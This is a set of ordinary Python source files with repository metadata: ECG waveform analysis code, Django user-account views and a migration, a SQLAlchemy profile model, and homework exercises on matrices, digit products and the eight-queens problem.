if indexes_to_drop[pos] - 2 * fs < 0:
start_drop.append(0)
else:
start_drop.append(indexes_to_drop[pos] - 2 * fs)
while (len(indexes_to_drop) - 1) > pos and indexes_to_drop[pos + 1] - indexes_to_drop[pos] < 100:
pos += 1
if indexes_to_drop[pos] + 2 * fs >= len(ecg):
end_drop.append(len(ecg))
break
else:
end_drop.append(indexes_to_drop[pos] + 2 * fs)
pos += 1
ecg_filtered = []
for i in range(len(end_drop) - 1):
if i == 0:
if start_drop[0] < 100:
continue
else:
ecg_filtered.append(ecg[0:start_drop[0]])
else:
ecg_filtered.append(ecg[end_drop[i - 1]:start_drop[i]])
if len(end_drop) > 0:
if end_drop[-1] == len(ecg) or len(ecg) - end_drop[-1] < 100:
pass
else:
ecg_filtered.append(ecg[end_drop[-1]:len(ecg)])
return ecg_filtered, len(end_drop), start_drop, end_drop
def step_by_step(folder, subfolder_name, animal, lim=1, level=6, qrs_approx=30, file_init=None, to_filter=True,
dist=None):
file = file_init
if folder is not None and subfolder_name is not None:
file = upload_file(folder=folder, subfolder_name=subfolder_name)
file = butterworth_filtering(lcf=lcf, hcf=hcf, fs=fs, ecg=file)
# arr = get_rid_of_artifacts(file, lim)
arr = file
preprocessed_arr = []
r_peaks = []
q_peaks = []
s_peaks = []
theta_peaks = []
p_peaks = []
array = []
r_p, r_av, r_var, arr = find_r(arr, animal=animal, dist=dist)
drops = None
start_drops = None
end_drops = None
if to_filter:
arr, drops, start_drops, end_drops = filt_electrodes(arr, r_av, r_var)
else:
arr = [arr]
for i in range(len(arr)):
if len(arr[i]) == 0:
continue
# preprocessed_arr = preprocessed_arr.append(pywt.wavedec(arr, 'sym4', 'ppd', level))
# print(preprocessed_arr)
r_, av_h, std, _ = find_r(arr[i], animal=animal, dist=dist)
if r_ is None:
continue
r_peaks.append(r_)
q_, s_, theta_, p_ = find_q_s_t_p(r_, arr[i], animal=animal, lev=level, dist=dist)
q_peaks.append(q_)
s_peaks.append(s_)
theta_peaks.append(theta_)
p_peaks.append(p_)
array.append(arr[i])
return q_peaks, s_peaks, theta_peaks, p_peaks, r_peaks, drops, start_drops, end_drops, array
def shifted_points(points, loc, start, shift):
points_ = np.array(points)
loc_points = np.array(np.where((points_ < start + shift) & (points_ > start)))
x = (points_[loc_points] - start).reshape(-1)
y = loc[points_[loc_points] - start].reshape(-1)
return x, y
def find_amplitudes(peaks, ecg):
amp = [ecg[i] for i in peaks]
return amp
# period of wave
def find_period(peaks):
dist = []
for i, j in zip(peaks[:len(peaks) - 1], peaks[1:]):
dist.append(j - i)
return dist
# for finding distances between peaks, intervals or segments
# peaks_one should be logically before peaks_two
def find_distance(peaks_one, peaks_two):
dist = []
if peaks_one[0] >= peaks_two[0]:
m = min(len(peaks_one), len(peaks_two) - 1)
for i in range(m):
dist.append(peaks_two[i + 1] - peaks_one[i])
else:
m = min(len(peaks_one), len(peaks_two) - 1)
for i in range(m):
dist.append(peaks_two[i + 1] - peaks_one[i])
return dist
# will be saved in local directory
def draw_graph(filtered_ecg, q_ar=[], s_ar=[], r_ar=[], p_ar=[], t_ar=[],
p=True, theta=True, q=True, r=True, s=True,
save=False, name=None, start=0, shift=2500):
plt.figure(num=None, figsize=(18, 6), dpi=80, facecolor='w', edgecolor='k')
plt.plot(np.zeros(shift, ))
plt.plot(filtered_ecg[start:start + shift], 'blue')
loc = filtered_ecg[start:start + shift]
if (len(q_ar) > 0) and q:
x, y = shifted_points(q_ar, loc, start, shift)
plt.plot(x, y, 'o', label='q')
if (len(r_ar) > 0) and r:
x, y = shifted_points(r_ar, loc, start, shift)
plt.plot(x, y, 'o', label='r')
if (len(s_ar) > 0) and s:
x, y = shifted_points(s_ar, loc, start, shift)
plt.plot(x, y, 'o', label='s')
if (len(p_ar) > 0) and p:
x, y = shifted_points(p_ar, loc, start, shift)
plt.plot(x, y, 'o', label='p')
if len(t_ar) > 0 and theta:
x, y = shifted_points(t_ar, loc, start, shift)
plt.plot(x, y, 'o', label='t')
plt.legend()
if name is not None:
plt.title(name)
if save:
plt.savefig(name)
def flatten_list(l):
lst = [item for sublist in l for item in sublist]
return lst
def filter_empty(l):
lst = []
for i in l:
if len(i) > 0:
lst.append(i)
return lst
# for one animal
def animal_describe(q_peaks, s_peaks, theta_peaks, p_peaks, r_peaks, arr,
p=True, theta=True, q=True, r=True, s=True):
q_amp = []
r_amp = []
s_amp = []
t_amp = []
p_amp = []
p_peaks_interval = []
q_peaks_interval = []
r_peaks_interval = []
s_peaks_interval = []
t_peaks_interval = []
qrs_interval = []
qr_interval = []
rs_interval = []
st_interval = []
pq_interval = []
for i in range(len(arr)):
if (len(p_peaks[i]) > 0) and p:
p_amp.append(find_amplitudes(p_peaks[i], arr[i]))
p_peaks_interval.append(find_period(p_peaks[i]))
if (len(q_peaks[i]) > 0) and q:
q_amp.append(find_amplitudes(q_peaks[i], arr[i]))
q_peaks_interval.append(find_period(q_peaks[i]))
if (len(r_peaks[i]) > 0) and r:
r_amp.append(find_amplitudes(r_peaks[i], arr[i]))
r_peaks_interval.append(find_period(r_peaks[i]))
if (len(theta_peaks[i]) > 0) and theta:
t_amp.append(find_amplitudes(theta_peaks[i], arr[i]))
t_peaks_interval.append(find_period(theta_peaks[i]))
if (len(s_peaks[i]) > 0) and s:
s_amp.append(find_amplitudes(s_peaks[i], arr[i]))
s_peaks_interval.append(find_period(s_peaks[i]))
if len(q_peaks[i]) > 0 and len(s_peaks[i]) > 0 and q and theta:
qrs_interval.append(find_distance(q_peaks[i], s_peaks[i]))
if len(q_peaks[i]) > 0 and len(r_peaks[i]) > 0 and r and q:
qr_interval.append(find_distance(q_peaks[i], r_peaks[i]))
if len(r_peaks[i]) > 0 and len(s_peaks[i]) > 0 and r and s:
rs_interval.append(find_distance(r_peaks[i], s_peaks[i]))
if len(s_peaks[i]) > 0 and len(theta_peaks[i]) > 0 and s and theta:
st_interval.append(find_distance(s_peaks[i], theta_peaks[i]))
if len(p_peaks[i]) > 0 and len(q_peaks[i]) > 0 and p and q:
pq_interval.append(find_distance(p_peaks[i], q_peaks[i]))
p_amp = flatten_list(p_amp)
q_amp = flatten_list(q_amp)
r_amp = flatten_list(r_amp)
s_amp = flatten_list(s_amp)
t_amp = flatten_list(t_amp)
p_peaks_interval = flatten_list(p_peaks_interval)
q_peaks_interval = flatten_list(q_peaks_interval)
r_peaks_interval = flatten_list(r_peaks_interval)
s_peaks_interval = flatten_list(s_peaks_interval)
t_peaks_interval = flatten_list(t_peaks_interval)
qrs_interval = flatten_list(qrs_interval)
qr_interval = flatten_list(qr_interval)
rs_interval = flatten_list(rs_interval)
st_interval = flatten_list(st_interval)
pq_interval = flatten_list(pq_interval)
p_stats = []
q_stats = []
r_stats = []
s_stats = []
t_stats = []
p_interval_stats = []
q_interval_stats = []
r_interval_stats = []
s_interval_stats = []
t_interval_stats = []
qrs_stats = []
qr_stats = []
rs_stats = []
st_stats = []
pq_stats = []
if len(p_amp) > 0:
p_stats = pd.DataFrame(p_amp).describe()
if len(p_peaks_interval) > 0:
p_interval_stats = pd.DataFrame(p_peaks_interval).describe()
if len(q_amp) > 0:
q_stats = pd.DataFrame(q_amp).describe()
if len(q_peaks_interval) > 0:
q_interval_stats = pd.DataFrame(q_peaks_interval).describe()
if len(r_amp) > 0:
r_stats = pd.DataFrame(r_amp).describe()
if len(r_peaks_interval) > 0:
r_interval_stats = pd.DataFrame(r_peaks_interval).describe()
if len(s_amp) > 0:
s_stats = pd.DataFrame(s_amp).describe()
if len(s_peaks_interval) > 0:
s_interval_stats = pd.DataFrame(s_peaks_interval).describe()
if len(t_amp) > 0:
t_stats = pd.DataFrame(t_amp).describe()
if len(t_peaks_interval) > 0:
t_interval_stats = pd.DataFrame(t_peaks_interval).describe()
if len(qrs_interval) > 0:
qrs_stats = pd.DataFrame(qrs_interval).describe()
if len(qr_interval) > 0:
qr_stats = pd.DataFrame(qr_interval).describe()
if len(rs_interval) > 0:
rs_stats = pd.DataFrame(rs_interval).describe()
if len(pq_interval) > 0:
pq_stats = pd.DataFrame(pq_interval).describe()
if len(st_interval) > 0:
st_stats = pd.DataFrame(st_interval).describe()
raw = [p_amp, q_amp, r_amp, s_amp, t_amp,
p_peaks_interval, q_peaks_interval, r_peaks_interval, s_peaks_interval, t_peaks_interval,
qrs_interval, qr_interval, rs_interval, st_interval, pq_interval]
stats = [p_stats, q_stats, r_stats, s_stats, t_stats,
p_interval_stats, q_interval_stats, r_interval_stats, s_interval_stats, t_interval_stats,
qrs_stats, qr_stats, rs_stats, st_stats, pq_stats]
return (raw, stats)
# for all animals of one type
def type_describe(animal):
folder, subfolders = folder_and_subfolders_for_animal(animal)
animals_p = []
animals_q = []
animals_r = []
animals_s = []
animals_t = []
animals_p_interval = []
animals_q_interval = []
animals_r_interval = []
animals_s_interval = []
animals_t_interval = []
animals_qrs = []
animals_qr = []
animals_rs = []
animals_st = []
animals_pq = []
p = True
theta = True
q = True
r = True
s = True
if animal.lower() == 'dog':
theta = False
if animal.lower() == 'mice':
theta = False
p = False
for sub in subfolders:
if sub == 'Mouse_02' or sub == 'Mouse_05' or sub == 'Mouse_07':
print(f"{sub} this data is damaged")
continue
q_peaks, s_peaks, theta_peaks, p_peaks, r_peaks, drops, start_drops, end_drops, arr = step_by_step(
folder=folder, subfolder_name=sub, animal=animal)
res = animal_describe(q_peaks, s_peaks, theta_peaks, p_peaks, r_peaks, arr, p, theta, q, r, s)[0]
animals_p.append(res[0])
animals_q.append(res[1])
animals_r.append(res[2])
animals_s.append(res[3])
animals_t.append(res[4])
animals_p_interval.append(res[5])
animals_q_interval.append(res[6])
animals_r_interval.append(res[7])
animals_s_interval.append(res[8])
animals_t_interval.append(res[9])
animals_qrs.append(res[10])
animals_qr.append(res[11])
animals_rs.append(res[12])
animals_st.append(res[13])
animals_pq.append(res[14])
animals_p = filter_empty(animals_p)
animals_q = filter_empty(animals_q)
animals_r = filter_empty(animals_r)
animals_s = filter_empty(animals_s)
animals_t = filter_empty(animals_t)
animals_p_interval = filter_empty(animals_p_interval)
animals_q_interval = filter_empty(animals_q_interval)
animals_r_interval = filter_empty(animals_r_interval)
animals_s_interval = filter_empty(animals_s_interval)
animals_t_interval = filter_empty(animals_t_interval)
animals_qrs = filter_empty(animals_qrs)
animals_qr = filter_empty(animals_qr)
animals_rs = filter_empty(animals_rs)
animals_pq = filter_empty(animals_pq)
animals_st = filter_empty(animals_st)
if len(animals_p) > 0:
animals_p = pd.DataFrame(flatten_list(animals_p)).describe()
if len(animals_q) > 0:
animals_q = pd.DataFrame(flatten_list(animals_q)).describe()
if len(animals_r) > 0:
animals_r = pd.DataFrame(flatten_list(animals_r)).describe()
if len(animals_s) > 0:
animals_s = pd.DataFrame(flatten_list(animals_s)).describe()
if len(animals_t) > 0:
animals_t = pd.DataFrame(flatten_list(animals_t)).describe()
if len(animals_p_interval) > 0:
animals_p_interval = pd.DataFrame(flatten_list(animals_p_interval)).describe()
if len(animals_q_interval) > 0:
animals_q_interval = pd.DataFrame(flatten_list(animals_q_interval)).describe()
if len(animals_r_interval) > 0:
animals_r_interval = pd.DataFrame(flatten_list(animals_r_interval)).describe()
if len(animals_s_interval) > 0:
animals_s_interval = pd.DataFrame(flatten_list(animals_s_interval)).describe()
if len(animals_t_interval) > 0:
animals_t_interval = pd.DataFrame(flatten_list(animals_t_interval)).describe()
if len(animals_qrs) > 0:
animals_qrs = pd.DataFrame(flatten_list(animals_qrs)).describe()
if len(animals_qr) > 0:
animals_qr = pd.DataFrame(flatten_list(animals_qr)).describe()
if len(animals_rs) > 0:
animals_rs = pd.DataFrame(flatten_list(animals_rs)).describe()
if len(animals_st) > 0:
animals_st = pd.DataFrame(flatten_list(animals_st)).describe()
if len(animals_pq) > 0:
animals_pq = pd.DataFrame(flatten_list(animals_pq)).describe()
return animals_p, animals_q, animals_r, animals_s, animals_t, animals_p_interval, animals_q_interval, \
animals_r_interval, animals_s_interval, animals_t_interval, animals_qrs, animals_qr, animals_rs, \
animals_st, animals_pq
def printing(arr, name):
if len(arr) > 0:
print(f"\n Statistics for {name}: \n {arr}")
else:
print(f"Statistics for parameter {name} was not evaluated")
# will return 1-dimentional array
def upload_dat(filename):
return np.fromfile(filename, dtype=float)
def basic_stat(ecg, wave):
amps = [ecg[i] for i in wave]
return min(amps), max(amps), mean(amps)
def is_normally_detected(ecg, qs, rs, ss, ts, ps):
min_r, max_r, avg_r = basic_stat(ecg, rs)
if max_r / min_r > 4:
return False
else:
min_q, max_q, avg_q = basic_stat(ecg, qs)
min_s, max_s, avg_s = basic_stat(ecg, ss)
min_t, max_t, avg_t = basic_stat(ecg, ts)
min_p, max_p, avg_p = basic_stat(ecg, ps)
if avg_r * 0.7 <= avg_p or avg_r * 0.7 <= avg_t:
return False
else:
return True
def redetect(rs, animal, file=None, folder=None, subfolder=None):
rs_new = []
for i in range(1, len(rs)):
rs_new.append(rs[i] - rs[i - 1])
new_dist = mean(rs_new) * 1.2
if animal == "human":
return step_by_step(folder, subfolder, animal, file_init=file * 1e+269, to_filter=False, dist=new_dist)
else:
return step_by_step(folder, subfolder, animal, file_init=file, to_filter=False, dist=new_dist)
| [
"p.turischeva@innopolis.university"
] | p.turischeva@innopolis.university |
dcf6bb640f9751ecee9553d97d552f8c75126a42 | 5d6ef1469740109d732441e88aed91890f2b8361 | /accounts/views.py | 9758580ce50b736a4f2a87156cc2586f2a14e758 | [] | no_license | boiyelove/workflow | 1ce88ee830fe4536db4423962296557629d81a7e | 273c168f0a0979f29f5154d3c67337091e0fe4b3 | refs/heads/master | 2023-07-17T16:40:05.178225 | 2020-08-08T16:59:06 | 2020-08-08T16:59:06 | 172,429,593 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 12,354 | py | import datetime
from django.shortcuts import render, get_object_or_404
from django.contrib.auth import logout
from django.views.generic import TemplateView, ListView
from django.views.generic.base import View
from django.views.generic.edit import FormView, UpdateView, CreateView, DeleteView
from django.contrib.auth.decorators import login_required
from django.contrib.auth.models import User
from django.core.exceptions import PermissionDenied
from django.utils.decorators import method_decorator
from django.contrib import messages
from django.http import HttpResponseRedirect, Http404
from django.urls import reverse_lazy
from .forms import LoginForm, RegisterForm, UserProfileForm, DonateMethodForm, PasswordRequestForm, PasswordChangeForm
from .models import UserProfile, UserToken, DonateMethod, EmailVerification
from django.contrib.auth.mixins import LoginRequiredMixin
class FormLink:
def __init__(self, text, url):
self.name = text
self.url = url
def __str__(self):
return self.name
# Create your views here.
class LoginRqMixin(LoginRequiredMixin):
login_url = reverse_lazy('accounts:login')
redirect_field_name = 'rdr_to'
class AlreadyLoginedIn:
def dispatch(self, *args, **kwargs):
if self.request.user.is_authenticated:
return HttpResponseRedirect(reverse_lazy('accounts:dashboard'))
else:
return super(AlreadyLoginedIn, self).dispatch(*args, **kwargs)
class MustBeProfiled:
def dispatch(self, *args, **kwargs):
dm = DonateMethod.objects.filter(user = self.request.user)
up = UserProfile.objects.get(user=self.request.user)
if not dm:
messages.add_message(self.request, messages.INFO, 'Please add a way to recieve payment before you continue')
return HttpResponseRedirect(reverse_lazy('accounts:donatemethod-create'))
elif not up.phone_number or not up.full_name:
messages.add_message(self.request, messages.INFO, 'Please complete your profile information before you continue')
return HttpResponseRedirect(reverse_lazy('accounts:userprofile'))
else:
return super(MustBeProfiled, self).dispatch(*args, **kwargs)
class LoginView(AlreadyLoginedIn, FormView):
form_class = LoginForm
template_name = 'accounts/form.html'
success_url = reverse_lazy('accounts:dashboard')
def get_context_data(self, *args, **kwargs):
formlinks = [FormLink("I don't have a revenupa account", reverse_lazy('accounts:register')),
]
context = super(LoginView, self).get_context_data(*args, **kwargs)
context.update({'page_title' : 'Login',
'form_title': 'Login',
"form_action": reverse_lazy('accounts:login'),
"form_method": "post",
"form_value": "Take me to my account",
'form_cancel': FormLink('I forgot my password', reverse_lazy('accounts:password-request')),
'form_links': formlinks,
})
return context
def form_valid(self, form):
form.login_user(self.request)
messages.success(self.request, 'You are now logged in')
return super(LoginView, self).form_valid(form)
class LogoutView(LoginRqMixin, View):
def get(self, request, *args, **kwargs):
logout(request)
messages.success(request, 'You are now logged out')
return HttpResponseRedirect('/')
class RegisterView(FormView):
form_class = RegisterForm
template_name = 'accounts/form.html'
success_url = reverse_lazy('accounts:login')
# def dispatch(self, *args, **kwargs):
# if request.is_authenticated:
# return HttpResponseRedirect(reverse_lazy('accounts:dashboard'))
# super(RegisterView, self)
def get_context_data(self, *args, **kwargs):
formlinks = [FormLink('Take me to revenupa.org', reverse_lazy('webcore:home-page')),]
context = super(RegisterView, self).get_context_data(*args, **kwargs)
context.update({'page_title' : 'Register New Account',
'form_title' : 'Create New Account',
'form_method': 'POST',
'form_value': 'Create my revenupa account',
'form_action': reverse_lazy('accounts:register'),
'form_cancel': FormLink("I already have a revenupa account", reverse_lazy('accounts:login')),
'form_links': formlinks,
})
return context
def form_valid(self, form):
referral = self.request.COOKIES.get('referral_id')
form.register_user(referral)
messages.add_message(self.request, messages.SUCCESS, 'Registration successful')
messages.add_message(self.request, messages.INFO, 'An email has been sent to your email address, you can check your spam folder or wait a few minute to receive it')
return super(RegisterView, self).form_valid(form)
class DashboardView(LoginRqMixin, TemplateView):
template_name = "accounts/dashboard.html"
def get_context_data(self, **kwargs):
context = super(DashboardView, self).get_context_data(**kwargs)
context['page_title'] = "Dashboard"
context['balance'] = UserToken.objects.get(user = self.request.user)
profile = UserProfile.objects.get(user = self.request.user)
context['programs'] = profile.programs.all()
return context
class UserProfileView(LoginRqMixin, UpdateView):
form_class = UserProfileForm
success_url = reverse_lazy('accounts:userprofile')
template_name = 'accounts/form.html'
def get_context_data(self, *args, **kwargs):
new_context = {'page_title' : 'My Profile',
'form_title': 'Profile',
"form_action": reverse_lazy('accounts:userprofile'),
"form_method": "post",
"form_value": "Update Profile",
'error_message': "Please check the details you provided",
}
context = super(UserProfileView, self).get_context_data(*args, **kwargs)
context.update(new_context)
return context
def get_object(self, *args, **kwargs):
instance, created = UserProfile.objects.get_or_create(user = self.request.user)
return instance
class DonateMethodListView(LoginRqMixin, ListView):
template_name = 'donatemethod_list.html'
context_object_name = 'donatemethodlist'
def get_queryset(self, *args, **kwwargs):
return DonateMethod.objects.filter(user = self.request.user)
def get_context_data(self, *args, **kwargs):
new_context = {'page_title' : 'My Donation Profiles',
}
context = super(DonateMethodListView, self).get_context_data(*args, **kwargs)
context.update(new_context)
return context
class DonateMethodCreateView(LoginRqMixin, FormView):
form_class = DonateMethodForm
template_name = "accounts/form.html"
success_url = reverse_lazy('accounts:donatemethod-list')
def form_valid(self, form):
form.fineshed(self.request.user)
return super(DonateMethodCreateView, self).form_valid(form)
def get_context_data(self, *args, **kwargs):
new_context = {'page_title' : 'New Donation Information',
'form_title': 'New Donation Information',
"form_action": reverse_lazy('accounts:donatemethod-create'),
"form_method": "post",
"form_value": "Add This To My Payment Details",
'error_message': "Please check the details you provided",
}
context = super(DonateMethodCreateView, self).get_context_data(*args, **kwargs)
context.update(new_context)
return context
class DonateMethodUpdateView(LoginRqMixin, UpdateView):
form_class = DonateMethodForm
template_name = "accounts/form.html"
success_url = reverse_lazy('accounts:donatemethod-list')
def get_object(self, queryset=None):
pk = self.kwargs.pop('pk')
dm = get_object_or_404(DonateMethod, id=pk)
if dm.user == self.request.user:
return dm
else:
raise PermissionDenied
def get_context_data(self, *args, **kwargs):
new_context = {'page_title' : 'Update Donation Information',
'form_title': 'New Donation Information',
"form_action": '.',
"form_method": "post",
"form_value": "Update This Donation Information",
'error_message': "Please check the details you provided",
}
context = super(DonateMethodUpdateView, self).get_context_data(*args, **kwargs)
context.update(new_context)
return context
class DonateMethodDeleteView(LoginRqMixin, DeleteView):
model = DonateMethod
success_url = success_url = reverse_lazy('accounts:donatemethod-list')
template_name = "accounts/form.html"
def get_object(self, queryset=None):
obj = super(DonateMethodDeleteView, self).get_object()
if obj.user == self.request.user:
return obj
else:
raise PermissionDenied
def get_context_data(self, *args, **kwargs):
new_context = {'page_title' : 'Delete Donation Information',
'form_title': 'Are you sure you want to delete this?',
"form_action": '.',
"form_method": "post",
"form_value": "Yes, I'm sure. Delete this donation information",
}
context = super(DonateMethodDeleteView, self).get_context_data(*args, **kwargs)
context.update(new_context)
return context
class GetRef(AlreadyLoginedIn, View):
def get(self, request, *args, **kwargs):
response = HttpResponseRedirect(reverse_lazy('accounts:register'), request)
try:
uname = kwargs.pop('username')
user = User.objects.get(username = uname)
response.set_cookie('referral_id', user, expires=datetime.date.today() + datetime.timedelta(days=360))
messages.add_message(request, messages.SUCCESS, 'We commend {} for telling you about us. You are welcome'.format(uname))
except:
messages.add_message(request, messages.ERROR, 'Sorry, no user with that username')
return response
class EmailVerificationView(View):
def get(self, request, *args, **kwargs):
kw = kwargs.pop('verification_key')
try:
emver = EmailVerification.objects.get(slug = kw)
emver.confirmed = True
messages.add_message(request, messages.SUCCESS, 'Your email has been confirmed successfully')
if emver.actiontype == 'USER':
try:
user = User.objects.get(email = emver.email)
if not user.is_active:
user.is_active = True
user.save()
messages.add_message(request, messages.SUCCESS, 'Your account has been activated successfully')
except:
pass
return HttpResponseRedirect(emver.action, request)
except:
raise Http404
class PasswordChangeRequestView(FormView):
form_class = PasswordRequestForm
template_name = "accounts/form.html"
success_url = reverse_lazy('accounts:dashboard')
def dispatch(self, request, *args, **kwargs):
if request.user.is_authenticated:
return HttpResponseRedirect(reverse_lazy('accounts:password-change'))
else:
return super(PasswordChangeRequestView, self).dispatch(request, *args, **kwargs)
def form_valid(self, form):
form.done()
messages.add_message(self.request, messages.SUCCESS, 'An email containing your password was sent to your email address')
return super(PasswordChangeRequestView, self).form_valid(form)
def get_context_data(self, *args, **kwargs):
formlinks = [FormLink('Take me to revenupa.org', reverse_lazy('webcore:home-page')),]
new_context = {'page_title' : 'Password Recovery Request',
'form_title': 'Password Recovery Request',
"form_action": reverse_lazy('accounts:password-request'),
"form_method": "post",
"form_value": "Reset my password",
'error_message': "Please check the details you provided",
'form_cancel': FormLink("I remember my password", reverse_lazy('accounts:login')),
'form_links': formlinks,
}
context = super(PasswordChangeRequestView, self).get_context_data(*args, **kwargs)
context.update(new_context)
return context
class PasswordChangeView(LoginRqMixin, FormView):
form_class = PasswordChangeForm
template_name = "accounts/form.html"
success_url = reverse_lazy('accounts:dashboard')
def form_valid(self, form):
form.done()
'An email containing your password was sent to your email address'
messages.add_message(self.request, messages.SUCCESS, 'Your password as been changed and emailed to you')
return super(PasswordChangeView, self).form_valid(form)
def get_form_kwargs(self):
kwargs = super(PasswordChangeView, self).get_form_kwargs()
kwargs['request'] = self.request
print('when through here')
return kwargs
def get_context_data(self, *args, **kwargs):
formlinks = [FormLink('Take me to my profile', reverse_lazy('accounts:userprofile')),]
new_context = {'page_title' : 'Password Change Form',
'form_title': 'Password Change Form',
"form_action": reverse_lazy('accounts:password-change'),
"form_method": "post",
"form_value": "Change my password",
'error_message': "Please check the details you provided",
'form_cancel': FormLink("Nah, take me to dashboard", reverse_lazy('accounts:dashboard')),
'form_links': formlinks,
}
context = super(PasswordChangeView, self).get_context_data(*args, **kwargs)
context.update(new_context)
return context
| [
"daahrmmieboiye@gmail.com"
] | daahrmmieboiye@gmail.com |
1f9bffa254c80991e31249fa76370253815cca96 | f9356f2a83b3ccaa85053e7f31fd75faabc50ee8 | /network/migrations/0003_tweet_likes.py | 26916b43e92002f1deef633a3cf4683fcf001892 | [] | no_license | saperez17/SocialNetwork | b7986575c4453de6294b51b93fe9c724559e0779 | 3ed42b9501a8a9ad03b591aaf28b1ba9e98fae57 | refs/heads/master | 2023-03-18T03:01:16.213552 | 2021-03-10T00:45:28 | 2021-03-10T00:45:28 | 343,564,024 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 381 | py | # Generated by Django 3.1.6 on 2021-02-27 21:05
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('network', '0002_auto_20210227_1104'),
]
operations = [
migrations.AddField(
model_name='tweet',
name='likes',
field=models.IntegerField(default=0),
),
]
| [
"saperez@unicauca.edu.co"
] | saperez@unicauca.edu.co |
10b52dbe5a748394da3f160139123149454504dc | db749b9d7350ac31d58ae5197b3569177ee8b832 | /models/profile.py | aba4baa25c9553dd3e226c3e541c96e94d816886 | [] | no_license | ppetroski/python-rest-sample | 258e7f65e273364732459a604dec1dd34a89476b | f264e2c5bf0eb6b076035e579f69fe5dfea5dec4 | refs/heads/master | 2023-03-24T13:26:06.492492 | 2021-03-17T14:48:09 | 2021-03-17T14:48:09 | 342,982,361 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 2,806 | py | from sqlalchemy import Column, String
from sqlalchemy.orm import relationship, validates
import components.validator as validator
from components.framework.baseModel import BaseModel, RelationsBase
def geo_location():
geo = None
try:
"""
Need license, but I think the "How to" was more important then then actually result.
This would return IP location, not physical address location, which I don't believe make sense.
I assume GPS coordinates was desired, again no free resources and depending on the application
Should be done "offline" as to not delay or fail the API call.
geo = requests.get(f'https://geoip.maxmind.com/geoip/v2.1/city/{request.remote_addr}?demo=1')
"""
finally:
return geo
class Profile(BaseModel, RelationsBase):
__tablename__ = 'pid_Profile'
_remove_columns = ['created_at', 'updated_at', 'deleted_at']
# Model attributes
first_name = Column(String(length=25))
last_name = Column(String(length=25))
email = Column(String(length=100))
address1 = Column(String(length=100))
address2 = Column(String(length=100))
locality = Column(String(length=100))
state = Column(String(length=100)) # This would normally an INT relation to an xref table
postcode = Column(String(length=20))
phone = Column(String(length=20))
mobile = Column(String(length=25))
geo_location = Column(String(), default=geo_location())
# Model relationships
interactions = relationship('Interaction', back_populates='profile')
@validates('first_name')
def validate_first_name(self, key, value):
return validator.is_string(self, key, value)
@validates('last_name')
def validate_last_name(self, key, value):
return validator.is_string(self, key, value)
@validates('email')
def validate_email(self, key, value):
return validator.is_email(self, key, value)
@validates('address1')
def validate_address1(self, key, value):
return validator.is_string(self, key, value)
@validates('address2')
def validate_address2(self, key, value):
return validator.is_string(self, key, value)
@validates('locality')
def validate_locality(self, key, value):
return validator.is_string(self, key, value)
@validates('state')
def validate_state(self, key, value):
return validator.is_string(self, key, value)
@validates('postcode')
def validate_postcode(self, key, value):
return validator.is_string(self, key, value)
@validates('phone')
def validate_phone(self, key, value):
return validator.is_string(self, key, value)
@validates('mobile')
def validate_mobile(self, key, value):
return validator.is_string(self, key, value)
| [
"paul.petroski@hotmail.com"
] | paul.petroski@hotmail.com |
db19cfcb078c465e52473648face80e1c17888e7 | de706b4cd4c02ec71486fbd4a262aacf337e7a8c | /lesson_5/hw05_hard.py | 2496fdd0c950dae02dca7ad5adb119ae9288c490 | [] | no_license | DuDaria/Homework_backend | c896a30af4db9c0e118f230b5f01c351d68ff695 | fa9e06e79c7b61896e53417e8b91fd69e87d6061 | refs/heads/master | 2023-03-19T17:39:56.364082 | 2021-03-11T21:53:39 | 2021-03-11T21:53:39 | 319,733,707 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,616 | py | # Задание-1:
# Матрицы в питоне реализуются в виде вложенных списков:
# Пример. Дано:
matrix = [[1, 0, 8],
[3, 4, 1],
[0, 4, 2]]
print("matrix:")
for line in matrix:
print(line)
# Выполнить поворот (транспонирование) матрицы
# Пример. Результат:
# matrix_rotate = [[1, 3, 0],
# [0, 4, 4],
# [8, 1, 2]]
# Суть сложности hard: Решите задачу в одну строку
# Решение
rotate_matrix = list(map(list, zip(*matrix)))
print("rotate_matrix:")
for line in rotate_matrix:
print(line)
# Задание-2:
# Найдите наибольшее произведение пяти последовательных цифр в 1000-значном числе.
# Выведите произведение и индекс смещения первого числа последовательных 5-ти цифр.
# Пример 1000-значного числа:
import re
number = """
73167176531330624919225119674426574742355349194934
96983520312774506326239578318016984801869478851843
85861560789112949495459501737958331952853208805511
12540698747158523863050715693290963295227443043557
66896648950445244523161731856403098711121722383113
62229893423380308135336276614282806444486645238749
30358907296290491560440772390713810515859307960866
70172427121883998797908792274921901699720888093776
65727333001053367881220235421809751254540594752243
52584907711670556013604839586446706324415722155397
53697817977846174064955149290862569321978468622482
83972241375657056057490261407972968652414535100474
82166370484403199890008895243450658541227588666881
16427171479924442928230863465674813919123162824586
17866458359124566529476545682848912883142607690042
24219022671055626321111109370544217506941658960408
07198403850962455444362981230987879927244284909188
84580156166097919133875499200524063689912560717606
05886116467109405077541002256983155200055935729725
71636269561882670428252483600823257530420752963450"""
number = re.sub("\n", '', number)
list_number = []
for i in range(0, len(number)-4):
num_from_5 = list((number)[i:i+5])
num = 1
for x in num_from_5:
num *= int(x)
list_number.append(num)
print("Наибольшее произведение пяти последовательных цифр = {}".format(max(list_number)))
# Задание-3 (Ферзи):
# Известно, что на доске 8×8 можно расставить 8 ферзей так, чтобы они не били
# друг друга. Вам дана расстановка 8 ферзей на доске.
# Определите, есть ли среди них пара бьющих друг друга.
# Программа получает на вход восемь пар чисел,
# каждое число от 1 до 8 — координаты 8 ферзей.
# Если ферзи не бьют друг друга, выведите слово NO, иначе выведите YES.
coords_queens = [[1, 7], [2, 4], [3, 2], [4, 8], [5, 6], [6, 1], [7, 3], [8, 5]]
n = 8
for i in coords_queens:
x = i[0]
y = i[1]
x = []
y = []
for i in range(n):
new_x, new_y = x, y
x.append(new_x)
y.append(new_y)
correct = True
for i in range(n):
for j in range(i + 1, n):
if x[i] == x[j] or y[i] == y[j] or abs(x[i] - x[j]) == abs(y[i] - y[j]):
correct = False
if correct:
print('NO')
else:
print('YES')
| [
"60156592+DuDaria@users.noreply.github.com"
] | 60156592+DuDaria@users.noreply.github.com |
